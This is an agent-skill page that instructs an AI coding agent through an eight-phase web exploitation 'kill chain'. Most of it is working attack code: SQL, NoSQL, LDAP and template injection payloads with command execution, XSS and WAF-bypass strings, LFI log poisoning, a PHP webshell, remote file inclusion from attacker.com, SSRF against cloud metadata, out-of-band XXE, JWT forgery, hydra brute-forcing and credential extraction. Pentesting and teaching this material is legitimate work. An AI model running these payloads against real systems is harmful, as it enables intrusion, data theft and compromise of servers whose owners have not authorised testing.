# Web Exploitation

> Web application exploitation skill — offensive kill chain for confirming and exploiting vulnerabilities discovered during web recon. Activate when the user mentions exploiting, testing, or confirming vulnerabilities such as SQLi, XSS, LFI, RFI, SSRF, SSTI, XXE, broken access control, IDOR, JWT attacks, OAuth abuse, file upload bypass, deserialization, RCE, CSRF, or any variation of "exploit this endpoint", "test this param", or "web exploitation" after a recon phase. Picks up where web-recon leaves off — reuses recon output when available.

- Skill: `douglasrao/web-exploitation` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add douglasrao/web-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/douglasrao/web-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: DouglasRao (https://skillmd.com/u/douglasrao)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/douglasrao/web-exploitation

---


# Web Exploitation — Offensive Kill Chain

## Architecture

```
scripts/
├── common_web.sh      # Shared functions (logging, has_tool, phase_done, emit_summary)
└── web_exploit.sh     # PHASES 1-8: injection, XSS, file attacks, auth, logic, RCE
```

Each script:
- Accepts `<TARGET_URL> <OUT> [RECON_OUT]` as args
- `RECON_OUT` is the output directory from a prior web-recon run (optional but preferred)
- Uses checkpoints (`.phase_X.done`) to avoid repeating completed phases
- Emits a JSON summary via `---EXPLOIT_SUMMARY_JSON---` markers for Claude to parse

---

## Initial Setup — Variables and Context

```bash
TARGET="https://target.com"          # base URL (with scheme)
DOMAIN="target.com"                  # bare domain

# If web-recon was run previously, point to its output:
RECON_OUT="$(pwd)/target"            # adjust to actual path; leave empty if no prior recon

PROJECT=$(echo "$DOMAIN" \
  | sed -E 's/\.(com\.br|org\.br|net\.br|gov\.br|com|org|net|io|br|co\.uk|co|uk|fr|de|jp|au|us|ca)$//' \
  | sed 's/\./-/g' | tr '[:upper:]' '[:lower:]')

OUT="$(pwd)/${PROJECT}-exploit"
SCRIPTS="$HOME/.claude/skills/web-exploitation/scripts"

mkdir -p "$OUT"/{sqli,xss,lfi,ssrf,xxe,upload,auth,logic,rce,findings}
```

Create progress tasks with TaskCreate:
```
"PHASE 1 — Recon Triage (load prior recon or gather baseline)"
"PHASE 2 — Injection Attacks (SQLi, NoSQLi, SSTI, LDAP)"
"PHASE 3 — XSS (Reflected, Stored, DOM)"
"PHASE 4 — File & Path Attacks (LFI, RFI, Upload Bypass)"
"PHASE 5 — Server-Side Attacks (SSRF, XXE, XSLT)"
"PHASE 6 — Authentication & Session Attacks (JWT, OAuth, Broken Auth)"
"PHASE 7 — Logic & Client-Side Attacks (IDOR, CSRF, Race Condition, Deserialization)"
"PHASE 8 — RCE Confirmation & Report"
```

Mark each task `in_progress` when starting, `completed` when done.

---

## Tool Priority

### 1. CLI — always first
```
sqlmap              — automated SQL injection (use -m for URL list from recon)
dalfox              — XSS detection and exploitation
curl                — manual requests (always available as fallback)
ffuf                — parameter fuzzing, content discovery for exploitation
gf                  — filter URLs by vulnerability pattern (sqli, xss, lfi, ssrf, redirect)
qsreplace           — inject payloads into URL parameters
httpx (Go)          — probe response codes, headers for confirmation
nuclei              — targeted exploitation templates
jwt_tool            — JWT attacks (algorithm confusion, key injection, weak secret)
```

### 2. MCPs (when available)
```
mcp__burp__*        — replay/intercept/manipulate requests, confirm vulnerabilities
mcp__postman__*     — API endpoint testing (IDOR, auth bypass, rate limiting) — REST/GraphQL only
mcp__hexstrike-ai__* — dalfox_xss_scan, sqlmap_scan, jwt_analyzer, api_fuzzer, burpsuite_scan
mcp__Notion__*      — publish confirmed findings
```

### 3. curl fallback — when no specialized tool is available
```bash
curl -sk -X METHOD "URL" -H "Header: value" -d "body" -o /dev/null -w "%{http_code}|%{size_download}"
```

### 4. Never install tools without permission
If a tool is missing, ask the user: "Tool X is not installed. Would you like me to install it, or should I proceed with curl?"

---

## Operational Rules

- **Recon first**: if `$RECON_OUT` exists, load `$RECON_OUT/urls/params.txt`, `gf_sqli.txt`, `gf_xss.txt`, etc. before generating your own target lists
- **Never run sqlmap on URLs you haven't verified are in scope**
- **Rate limit**: add `--delay 1` or `-rate 10` when testing production or bug bounty targets
- **WAF awareness**: if web-recon detected a WAF, use evasion techniques; note WAF vendor in report
- **Burp MCP**: when available, always proxy interesting requests through Burp for evidence capture
- **Postman MCP**: only for targets exposing a documented or discoverable REST/GraphQL API
- **Confirmation over automation**: prefer confirming one finding well over mass scanning
- **No installation without explicit permission** — if a tool is missing, fall back to curl or ask

---

## PHASE 1 — Recon Triage

If `$RECON_OUT` exists and contains prior web-recon output:

```bash
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=1
```

**What it does:**
- Reads and reports on what recon data is available:
  - `$RECON_OUT/urls/params.txt` — parameterized URLs
  - `$RECON_OUT/urls/gf_sqli.txt` — SQLi candidates
  - `$RECON_OUT/urls/gf_xss.txt` — XSS candidates
  - `$RECON_OUT/urls/gf_ssrf.txt` — SSRF candidates
  - `$RECON_OUT/urls/gf_redirect.txt` — Open redirect candidates
  - `$RECON_OUT/js/secrets.json` — Exposed secrets/API keys
  - `$RECON_OUT/vulns/nuclei.txt` — Prior nuclei findings
  - `$RECON_OUT/dns/live.txt` — Live hosts (for scope)
- Outputs a triage summary: counts per category, highest-priority targets

If no recon output exists:
```bash
# Minimal baseline: collect parameterized URLs from target
waybackurls "$DOMAIN" 2>/dev/null | grep "=" | uro | head -2000 > "$OUT/params.txt"
# Or with gau:
gau "$DOMAIN" 2>/dev/null | grep "=" | uro | head -2000 >> "$OUT/params.txt"
# Sort with gf patterns
gf sqli "$OUT/params.txt" > "$OUT/sqli/sqli_urls.txt" 2>/dev/null
gf xss "$OUT/params.txt" > "$OUT/xss/xss_urls.txt" 2>/dev/null
gf ssrf "$OUT/params.txt" > "$OUT/ssrf/ssrf_urls.txt" 2>/dev/null
gf lfi "$OUT/params.txt" > "$OUT/lfi/lfi_urls.txt" 2>/dev/null
```

---

## PHASE 2 — Injection Attacks

### 2.1 SQL Injection

**Source**: `$RECON_OUT/urls/gf_sqli.txt` or `$OUT/sqli/sqli_urls.txt`

```bash
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=2
```

**Priority approach:**

```bash
# 1. sqlmap on parameter file (preferred — uses prior recon list)
sqlmap -m "$SQLI_URLS" \
  --batch --random-agent \
  --level 3 --risk 2 \
  --threads 5 \
  --output-dir "$OUT/sqli/sqlmap" 2>/dev/null

# 2. sqlmap on single URL with parameter
sqlmap -u "https://target.com/page?id=1" --batch --random-agent --dbs

# 3. With Burp request file
sqlmap -r "$OUT/burp_request.txt" --batch --random-agent
```

**Error-based quick check via curl:**
```bash
curl -sk "https://target.com/page?id=1'" | grep -i "sql\|syntax\|mysql\|error\|ORA-\|pg_query"
```

**NoSQL Injection (MongoDB):**
```bash
# Test parameter with NoSQL operators
curl -sk -X POST "https://target.com/login" \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}'
curl -sk -X POST "https://target.com/login" \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'
```

**LDAP Injection:**
```bash
# Test login fields
curl -sk -X POST "https://target.com/login" \
  -d "username=*)(uid=*))(|(uid=*&password=x"
```

### 2.2 SSTI (Server-Side Template Injection)

**Detection polyglot — inject into all text parameters:**
```bash
SSTI_POLYGLOT='${{<%[%'"'"'"}}%\.'
# If error or unusual response → SSTI candidate

# Engine-specific payloads:
# Jinja2/Flask:   {{7*7}} → 49 confirmed; {{config.items()}} for data leak
# Twig:           {{7*7}} → 49; {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# FreeMarker:     ${7*7} → 49; ${"freemarker.template.utility.Execute"?new()("id")}
# Velocity:       #set($x=7*7)${x} → 49
# Smarty:         {7*7} → 49; {php}echo `id`;{/php}
# ERB (Ruby):     <%= 7*7 %> → 49; <%= `id` %>
# Pebble:         {{7*7}}; {{ variable.getClass().forName('java.lang.Runtime').getMethod('exec',''.class).invoke(variable.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id') }}
```

**Automated SSTI scan:**
```bash
# With nuclei:
nuclei -u "$TARGET" -t ~/nuclei-templates/vulnerabilities/generic/ssti.yaml

# With tplmap if available:
python3 tplmap.py -u "https://target.com/page?name=test"
```

---

## PHASE 3 — XSS

**Source**: `$RECON_OUT/urls/gf_xss.txt` or `$OUT/xss/xss_urls.txt`

```bash
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=3
```

**Priority approach:**

```bash
# 1. dalfox — XSS scanner with blind XSS support
dalfox file "$XSS_URLS" \
  --silence --no-color \
  --output "$OUT/xss/dalfox_results.txt" 2>/dev/null

# Blind XSS (replace with your callback):
dalfox file "$XSS_URLS" \
  --blind "https://your-collaborator.com/xss" \
  --output "$OUT/xss/dalfox_blind.txt" 2>/dev/null

# 2. airixss if available:
cat "$XSS_URLS" | airixss -payload "<img src=x onerror=alert(1)>" 2>/dev/null

# 3. Manual curl confirmation
curl -sk "https://target.com/page?q=<script>alert(1)</script>" | grep -i "alert(1)"
```

**WAF bypass payloads (common):**
```
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
"><img src=x onerror=alert(1)>
javascript:alert(1)
<iframe src="javascript:alert(1)">
```

**Stored XSS — test all input fields:**
```bash
# Test with a unique marker and check if reflected in other pages/responses
MARKER="xss$(date +%s)"
curl -sk -X POST "https://target.com/comment" -d "body=$MARKER<script>alert(1)</script>"
curl -sk "https://target.com/comments" | grep "$MARKER"
```

**DOM XSS — look for sinks:**
```bash
# Check JS files for dangerous sinks
grep -Ei "innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|setInterval\(|location\." "$RECON_OUT/js/" -r 2>/dev/null | head -50
```

---

## PHASE 4 — File & Path Attacks

```bash
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=4
```

### 4.1 LFI / Path Traversal

**Source**: `$RECON_OUT/urls/gf_lfi.txt` or test file-related parameters manually

```bash
# Quick LFI check on suspected parameter
LFI_PAYLOADS=(
  "../../../etc/passwd"
  "....//....//....//etc/passwd"
  "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
  "..%252f..%252f..%252fetc%252fpasswd"
  "/etc/passwd%00"
  "php://filter/convert.base64-encode/resource=index.php"
  "php://input"
  "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="
)

for payload in "${LFI_PAYLOADS[@]}"; do
  RESP=$(curl -sk "https://target.com/page?file=$payload")
  if echo "$RESP" | grep -q "root:"; then
    echo "[LFI CONFIRMED] payload: $payload"
    echo "$RESP" | head -5
  fi
done
```

**LFI to RCE paths:**
- PHP session file poisoning: `?file=/var/lib/php/sessions/sess_<ID>` after poisoning User-Agent
- Log poisoning: `?file=/var/log/apache2/access.log` after poisoning User-Agent with `<?php system($_GET['cmd']); ?>`
- `/proc/self/environ` poisoning
- PHP wrappers: `php://filter`, `php://input`, `data://`, `expect://`

### 4.2 File Upload Bypass

**Test sequence:**
```
1. Upload allowed file type → confirm where it goes
2. Change extension: .php → .php5, .phtml, .php.jpg, .pHp
3. Change Content-Type: image/jpeg with PHP payload
4. Double extension: shell.jpg.php
5. Null byte: shell.php%00.jpg (older PHP)
6. Magic bytes: add GIF89a; at start + PHP payload
7. Polyglot: valid image with embedded PHP
```

**Minimal PHP webshell:**
```php
<?php system($_GET['cmd']); ?>
```

```bash
# Test upload with modified content-type
curl -sk -X POST "https://target.com/upload" \
  -F "file=@shell.php;type=image/jpeg" \
  -F "submit=Upload"
```

### 4.3 RFI

```bash
# If LFI found — test for RFI (allow_url_include must be On)
curl -sk "https://target.com/page?file=http://attacker.com/shell.php"
curl -sk "https://target.com/page?file=\\\\attacker.com\share\shell.php"
```

---

## PHASE 5 — Server-Side Attacks

```bash
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=5
```

### 5.1 SSRF

**Source**: `$RECON_OUT/urls/gf_ssrf.txt` or parameters like `url=`, `path=`, `file=`, `dest=`, `redirect=`

```bash
# Use a collaborator/callback URL (e.g., interactsh, Burp Collaborator, RequestBin)
CALLBACK="http://your-collaborator-url.com"

SSRF_PARAMS=("url" "path" "file" "dest" "redirect" "uri" "src" "source" "target" "host" "proxy")
for param in "${SSRF_PARAMS[@]}"; do
  curl -sk "https://target.com/api/fetch?${param}=${CALLBACK}" -o /dev/null
done

# Internal service discovery via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
  RESP=$(curl -sk --max-time 3 "https://target.com/api/fetch?url=http://127.0.0.1:$port")
  [ -n "$RESP" ] && echo "[SSRF] Port $port responded: ${RESP:0:100}"
done

# Cloud metadata SSRF (AWS)
curl -sk "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"
# GCP metadata
curl -sk "https://target.com/api/fetch?url=http://metadata.google.internal/computeMetadata/v1/" \
  -H "Metadata-Flavor: Google"
# Azure metadata
curl -sk "https://target.com/api/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01"
```

**SSRF bypass techniques:**
```
http://127.0.0.1  → 0.0.0.0, 0x7f000001, 127.1, ::1
http://localhost  → http://localtest.me, http://spoofed-dns.attacker.com (resolve to 127.0.0.1)
Redirect: attacker.com/redirect → 127.0.0.1
URL scheme: file:///etc/passwd, dict://, gopher://
```

### 5.2 XXE

**Detection and exploitation:**
```xml
<!-- Basic XXE -->
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

<!-- Blind XXE — out-of-band -->
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://your-collaborator.com/xxe.dtd"> %xxe;]>
<root>test</root>

<!-- XXE via SVG upload -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

<!-- XXE via XLSX/DOCX (unzip → edit xl/workbook.xml → rezip → upload) -->
```

```bash
# Test XML endpoint
curl -sk -X POST "https://target.com/api/xml" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' \
  | grep -q "root:" && echo "[XXE CONFIRMED]"
```

---

## PHASE 6 — Authentication & Session Attacks

```bash
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=6
```

### 6.1 JWT Attacks

```bash
# Analyze token structure (if jwt_tool available)
jwt_tool "PASTE_TOKEN_HERE"

# Algorithm confusion (RS256 → HS256)
# Extract public key from /jwks.json or /.well-known/jwks.json
curl -sk "https://target.com/.well-known/jwks.json"

# Common JWT attack paths:
# 1. None algorithm: change "alg":"RS256" → "alg":"none", remove signature
# 2. Weak secret: jwt_tool <token> -C -d rockyou.txt
# 3. RS256 → HS256 confusion: sign with server's public key as HMAC secret
# 4. Kid injection: {"kid": "../../dev/null"} or {"kid": "' UNION SELECT 'secret'--"}
# 5. JWK injection: embed attacker-controlled key in header
```

```bash
# With jwt_tool:
jwt_tool "TOKEN" -X a                 # None algorithm attack
jwt_tool "TOKEN" -C -d rockyou.txt   # Crack weak secret
jwt_tool "TOKEN" -X k -pk public.pem  # RS256 → HS256 confusion
```

### 6.2 OAuth Attacks

```bash
# 1. Open redirect in redirect_uri
# Test: append extra chars, change to attacker domain
https://target.com/oauth/authorize?client_id=X&redirect_uri=https://attacker.com&...

# 2. State parameter missing (CSRF on OAuth flow)
# Remove &state= from authorization request — if accepted, CSRF possible

# 3. Authorization code interception
# Manipulate redirect_uri to attacker-controlled domain (leaks code via Referer)

# 4. Token leakage via Referer header
# Check if access_token appears in URL (implicit flow) → logged in Referer headers

# 5. Scope manipulation
# Modify scope parameter: add "admin", "openid", "profile" etc.
```

### 6.3 Broken Authentication

```bash
# Default credentials check
CREDS=("admin:admin" "admin:password" "admin:123456" "user:user" "test:test")
for cred in "${CREDS[@]}"; do
  USER=$(echo "$cred" | cut -d: -f1)
  PASS=$(echo "$cred" | cut -d: -f2)
  RESP=$(curl -sk -o /dev/null -w "%{http_code}" -X POST "https://target.com/login" \
    -d "username=$USER&password=$PASS")
  [ "$RESP" != "401" ] && [ "$RESP" != "403" ] && echo "[AUTH] $cred → HTTP $RESP"
done

# Password reset token entropy test
# Request reset twice, compare tokens for patterns

# Session fixation test
# Note session ID before login, check if same after login

# HTTP Basic Auth brute (small targeted list only — check lockout policy)
if has_tool hydra; then
  hydra -l admin -P "$ROCKYOU" "$DOMAIN" http-post-form "/login:username=^USER^&password=^PASS^:Invalid" \
    -t 4 -w 3 -o "$OUT/auth/hydra_results.txt" 2>/dev/null
fi
```

---

## PHASE 7 — Logic & Client-Side Attacks

```bash
bash "$SCRIPTS/web_exploit.sh" "$TARGET" "$OUT" "$RECON_OUT" --phase=7
```

### 7.1 Broken Access Control / IDOR

```bash
# Test IDOR on object IDs
# 1. Change numeric IDs: /api/user/1 → /api/user/2
# 2. Change UUID/GUID: swap with known or guessed value
# 3. Test with different user roles (if multiple accounts available)
# 4. Try accessing other users' resources while authenticated

for id in $(seq 1 20); do
  RESP=$(curl -sk -w "\n%{http_code}" "https://target.com/api/users/$id" \
    -H "Authorization: Bearer $MY_TOKEN")
  HTTP_CODE=$(echo "$RESP" | tail -1)
  BODY=$(echo "$RESP" | head -1)
  [ "$HTTP_CODE" == "200" ] && echo "[IDOR] /api/users/$id → $HTTP_CODE: ${BODY:0:100}"
done
```

### 7.2 CSRF

```bash
# Check for CSRF token in forms/requests
# If missing or static: CSRF likely

# Generate minimal CSRF PoC (for confirming with Burp or manual test)
cat > "$OUT/logic/csrf_poc.html" <<'EOF'
<html>
<body>
  <form action="https://TARGET/action" method="POST">
    <input type="hidden" name="param" value="value" />
    <input type="submit" value="Submit" />
  </form>
  <script>document.forms[0].submit();</script>
</body>
</html>
EOF
```

### 7.3 Race Condition

```bash
# Test concurrent requests for logic bypass (e.g., coupon reuse, balance manipulation)
# Send N simultaneous requests:
for i in $(seq 1 10); do
  curl -sk -X POST "https://target.com/api/redeem" \
    -H "Authorization: Bearer $TOKEN" \
    -d "coupon=DISCOUNT10" &
done
wait
# Check if balance was updated multiple times
```

### 7.4 Insecure Deserialization

```bash
# Java serialization: look for base64 starting with rO0AB (Java object)
echo "rO0AB..." | base64 -d | xxd | head -2
# If confirmed Java serialized object → use ysoserial payloads

# PHP serialization: look for O:, a:, s: in params/cookies
# Test: manipulate O:4:"User":1:{s:4:"role";s:4:"user";}
#  → try: O:4:"User":1:{s:4:"role";s:5:"admin";}

# Python pickle: look for .pkl endpoints or pickle in Content-Type
# Node.js: check for __proto__ or constructor.prototype manipulation (Prototype Pollution)
```

### 7.5 Clickjacking

```bash
curl -sk -I "https://target.com" | grep -i "x-frame-options\|content-security-policy"
# If X-Frame-Options missing and CSP doesn't set frame-ancestors:
cat > "$OUT/logic/clickjacking_poc.html" <<'EOF'
<html>
<body>
  <iframe src="https://TARGET" style="opacity:0.1;position:absolute;top:0;left:0;width:100%;height:100%;"></iframe>
  <button style="position:absolute;top:200px;left:400px;">Click me!</button>
</body>
</html>
EOF
```

### 7.6 Host Header Injection

```bash
# Test for Host header trust
ORIG_RESP=$(curl -sk "https://target.com/reset" -d "email=victim@target.com")
curl -sk "https://target.com/reset" \
  -H "Host: attacker.com" \
  -d "email=victim@target.com" | grep -i "attacker.com"
# If attacker.com appears in password reset link → Host Header Injection
```

---

## PHASE 8 — RCE Confirmation & Report

### RCE Confirmation

```bash
# Confirm with OOB interaction before attempting full RCE
# Use interactsh-client or Burp Collaborator:
interactsh-client -v &
COLLAB_URL="<collaborator-url>"

# Ping test via various injection points
curl -sk "https://target.com/ping?host=$(echo -n "curl $COLLAB_URL" | base64)"
curl -sk "https://target.com/exec" -d "cmd=ping+-c+1+$COLLAB_URL"

# If SSTI confirmed → escalate to RCE:
# Jinja2: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# ERB:    <%= `id` %>
# Twig:   {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# If LFI confirmed → try log poisoning for RCE (Apache/Nginx)
# If SQLi confirmed → try INTO OUTFILE or xp_cmdshell (MSSQL)
```

### Consolidated Report

```
## WEB EXPLOITATION REPORT — [TARGET] — [DATE]
## Project: $PROJECT  |  Output: $OUT

### Confirmed Vulnerabilities (CVSS priority)
1. [CRITICAL] RCE — [endpoint, parameter, method]
2. [CRITICAL] SQLi (blind/error/union) — [endpoint, dbms]
3. [HIGH] SSTI → RCE — [endpoint, template engine]
4. [HIGH] SSRF (internal/cloud metadata) — [endpoint]
5. [HIGH] XXE — [endpoint]
6. [HIGH] File Upload → RCE — [upload path, shell URL]
7. [HIGH] JWT Algorithm Confusion / None attack
8. [MEDIUM] IDOR — [endpoint, object type]
9. [MEDIUM] Stored XSS — [endpoint, context]
10. [MEDIUM] LFI — [parameter, confirmed files]
11. [LOW] Reflected XSS — [count, parameters]
12. [LOW] CSRF — [endpoint]
13. [INFO] Clickjacking — [scope]

### Evidence Files
- SQLi: `$OUT/sqli/` (sqlmap logs, confirmed payloads)
- XSS: `$OUT/xss/` (dalfox output, reflected payload proof)
- LFI: `$OUT/lfi/lfi_confirmed.txt`
- SSRF: `$OUT/ssrf/ssrf_confirmed.txt`
- Auth: `$OUT/auth/` (JWKS, security headers, cookie flags)
- Logic: `$OUT/logic/` (CSRF PoC HTML, clickjacking PoC)
- Screenshots / Burp exports: `$OUT/evidence/` (see section below)

### Next Steps
[For confirmed RCE → see web-postexploitation skill]
[For IDOR → demonstrate full business impact with proof]
[For SQLi → dump db schema, extract credentials if authorized]
```

If Notion MCP is available, publish the report with `mcp__Notion__notion-create-pages`.
Create a subpage for each Critical/High finding with full reproduction steps.

---

## Evidence Capture

Capture a screenshot on every confirmed vulnerability. Save to `$OUT/evidence/`.

```bash
mkdir -p "$OUT/evidence"

# Terminal screenshot (macOS)
screencapture -x "$OUT/evidence/exploit_$(date +%Y%m%d_%H%M%S)_$VULN_TYPE.png"

# Terminal screenshot (Linux)
scrot "$OUT/evidence/exploit_$(date +%Y%m%d_%H%M%S)_$VULN_TYPE.png"

# Full session log (curl + response) saved automatically by web_exploit.sh
# via tee into outputs: $OUT/sqli/, $OUT/xss/, etc.
```

**What to capture per vulnerability type:**
- **SQLi**: sqlmap output showing extracted DB + `--dump` output (capture before scrolling)
- **XSS**: browser screenshot with payload executed (alert box or DOM modification)
- **LFI**: curl response with `/etc/passwd` or sensitive file contents visible
- **SSRF**: interactsh or Burp Collaborator callback confirming DNS/HTTP ping
- **File Upload**: accessible webshell screenshot + `id` or `whoami` output
- **JWT**: jwt_tool output showing tampered claim accepted by the server
- **IDOR**: two responses side-by-side (user A accessing user B's resource)

**Submit to Notion:**
```
mcp__Notion__notion-create-pages  — create finding page with evidence
mcp__Notion__notion-update-page   — attach screenshot as image block
```

---

## MCP Integration (when available)

### Burp Suite (`mcp__burp__*`)
- Proxy suspicious requests for evidence capture
- Replay modified requests for SQLi/XSS/SSRF/IDOR confirmation
- Intruder for parameter fuzzing when ffuf is not available

### Postman (`mcp__postman__*`)
- Only for REST/GraphQL API targets
- IDOR testing with different user tokens
- Auth bypass testing with modified headers

### hexstrike-ai (`mcp__hexstrike-ai__*`)
- `dalfox_xss_scan` — XSS automation
- `sqlmap_scan` — SQL injection
- `jwt_analyzer` — JWT token analysis
- `api_fuzzer` — API endpoint fuzzing
- `burpsuite_scan` — Burp-based scanning

### Notion (`mcp__Notion__*`)
Publish final report. Create one subpage per confirmed Critical/High finding.

---

## Execution Modes

| Mode | When to use | What runs |
|------|-------------|-----------|
| `--quick` | Time-boxed — exploit top findings from recon | Phases 1 (triage) + 2 (SQLi) + 3 (XSS) only |
| `--full` | Full authorized web application pentest | All 8 phases |
| `--api` | REST/GraphQL API target | Phase 6 (auth) + Phase 7 (IDOR, logic) via Postman MCP |
| `--confirm <vuln>` | Confirm a specific suspected vulnerability | Run only the relevant phase |

---

## Operational Notes

- **WAF evasion**: if WAF detected in recon, encode payloads (URL, HTML entity, Unicode), use chunked encoding, add noise parameters
- **Rate limiting**: use `--delay 1` in sqlmap; limit concurrent curl requests to avoid bans in bug bounty
- **Token efficiency**: run web_exploit.sh phases as bash scripts — only emit JSON summaries back to Claude
- **Recon linkage**: always check `$RECON_OUT/vulns/nuclei.txt` before starting — it may already confirm vulnerabilities
- **Scope**: before exploiting any endpoint, verify it is in-scope per the program/engagement rules

